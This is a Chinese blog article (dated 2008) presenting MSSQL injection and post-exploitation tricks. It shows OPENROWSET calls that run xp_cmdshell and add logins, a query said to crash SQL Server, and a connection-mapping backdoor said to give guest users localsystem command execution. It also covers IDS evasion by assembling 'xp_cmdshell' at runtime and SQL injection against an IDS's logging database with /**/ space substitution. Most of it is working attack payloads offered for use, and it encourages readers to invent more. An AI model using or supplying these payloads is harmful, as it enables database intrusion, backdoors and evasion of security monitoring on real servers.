专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »数据库 » mssql注入:mssql注入躲避IDS的思路方法 »正文

mssql注入:mssql注入躲避IDS的思路方法

来源: 发布时间:星期三, 2008年12月24日 浏览:34次 评论:0
1.有关openrow和opendatasource
  可能这个窍门技巧早有人已经会了就是利用openrow发送本地命令通常我们使用方法是(包括MSDN列子)如下:
select * from openrow('sqloledb','myserver';'sa';'','select * from table')
  可见(即使从字面意义上看)openrow只是作为个快捷远程数据库访问它必须跟在select后面也就是说需要返回个record
  那么我们能不能利用它xp_cmdshell呢?答案是肯定
select * from openrow('sqloledb','server';'sa';'',' fmtonly off exec master.dbo.xp_cmdshel l ''dir c:\''')
必须加上 fmtonly off用来屏蔽默认只返回列信息设置这样xp_cmdshell返回output集合就会提交给前面select显示如果采用默认设置会返回空集合导致select出错命令也就无法执行了
  那么如果我们要sp_addlogin呢他不会像xp_cmdshell返回任何集合我们就不能再依靠fmtonly设置了可以如下操作
select * from openrow('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')
  这样命令至少会返回select 'OK!'集合机器商会显示OK!同时对方数据库内也会增加个Hectic账号也就是说我们利用select 'OK!'返回集合欺骗了本地select请求是命令能够正常执行通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个思路方法真正用处大家慢慢想吧:P

  2.有关msdasql两次请求问题
  不知道大家有没有试过用msdasql连接远程数据库当然这个api必须是sqlserver管理员才可以那么如下
select * from openrow('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2')
  当table1和table2字段数目不相同时你会发现对方sqlserver崩溃了连本地连接都会失败而系统资源占用切正常用pskill杀死 sqlserver进程后如果不重启机器sqlserver要么无法正常启动要么时常出现非法操作我也只是碰巧找到这个bug具体原因我还没有摸透而且很奇怪是这个现象只出现在msdasql上sqloledb就没有这个问题看来问题不是在于请求集合数目和返回集合数目不匹配上应该还是msdasql本身问题具体原因大家起慢慢研究吧:P

  3.可怕后门
  以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到这些思路方法当然可行但是很容易会被发现不知道大家有没有想过sqloledb本地连接映射呵呵比如你在对方sqlserver上用sqlserver管理员账号执行如下命令
select * from openrow('sqloledb','trusted_connection=yes;data source=Hectic',' fmtonly off exec master..xp_cmdshell ''dir c:\''')
  这样在对方sqlserver上建立了个名为Hectic本地连接映射只要sqlserver不重启这个映射会直存在下去至少我现在还不知道如何发现别人放置连接映射好了以上命令运行过后你会发现哪怕是sqlserver没有任何权限guest用户运行以上这条命令也样能通过!而且权限是 localsystem!(默认安装)呵呵!这个思路方法可以用来在以被入侵过获得管理员权限sqlserver上留下个后门了以上思路方法在sqlserver2000 sqlserver2000SP1上通过!
  另外还有个猜测不知道大家有没有注意过windows默认附带两个dsn个是localserver个是msqi这两个在建立时候是本地管理员账号连接sqlserver如果对方sqlserver是通过自定义power user启动那么sa权限就和power user很难有所大作为但是我们通过如下命令
select * from openrow('msdasql','dsn=lorver;trusted_connection=yes',' fmtonly off exec master..xp_cmdshell ''dir c:\''')应该可以利用localserver管理员账号连接本地sqlserver然后再以这个 账号权限执行本地命令了这是后我想应该能突破sa那个power user权限了现在问题是sqloledb无法dsn连接而msdasql非管理员不让所以我现在正在寻找guestmsdasql思路方法
  如果有人知道这个bug如何突破或有新想法我们可以起讨论这个发放如果能成功被guest利用将会是个很严重安全漏洞我们前面提到任何sql语句都可以提交给对方asp去帮我们执行:

  4.利用t-sql骗过ids或攻击ids
  现在ids已经变得越来越聪明了ids加入了xp_cmdshell sp_addlogin 监视但是毕竟人工智能没有出现今天这种监视总是有种骗人感觉
  先说说欺骗ids:
  ids既然监视xp_cmdshell关键字那么我们可以这么做
declare @a sysname @a="xp_" "cmdshell" exec @a 'dir c:\'
  这个代码相信大家都能看明白还有xp_cmdshell作为个store procedure在master库内有个id号固定我们也可以这么做
  假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'
  当然也可以
declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:\'
  这种做法排列组合ids根本不可能做到完全监视
  同理sp_addlogin也可以这么做
  再说说攻击ids:
  ids数据量很大日至通常备份到常规数据库比如sql server
  如果用古老record.add做法会严重影响ids性能通过ado做t-sql请求不但效率高而且有部分工作可以交给sql server 去做
  通常会这么写 insert table values ('日至内容',...)
  那么我们想想看如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后会变成
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:\' -- ')
  这样xp_cmdshell就可以在ids数据库运行了 :)
  当然ids是个嗅叹器他会抓所有而浏览器提交时候会把空格变成 因此 会被提交到sql server这样你命令就无法执行了办法就是
insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')
  用/**/代替空格做间隔符这样你t-sql才能在ids数据库内执行当然也可以用其他语句可以破坏备份ids数据库到你共享目录呵呵
  其实这种思路方法原理和攻击asp是只是把空格变成了/**/ 本来asp是select语句那么用'就可以屏蔽现在ids用insert语句那么用')屏蔽
  好了其他很多新入侵语句大家可以自己慢慢想最好测试工具就是query analyzer了
0

相关文章

读者评论

发表评论

  • 昵称:
  • 内容: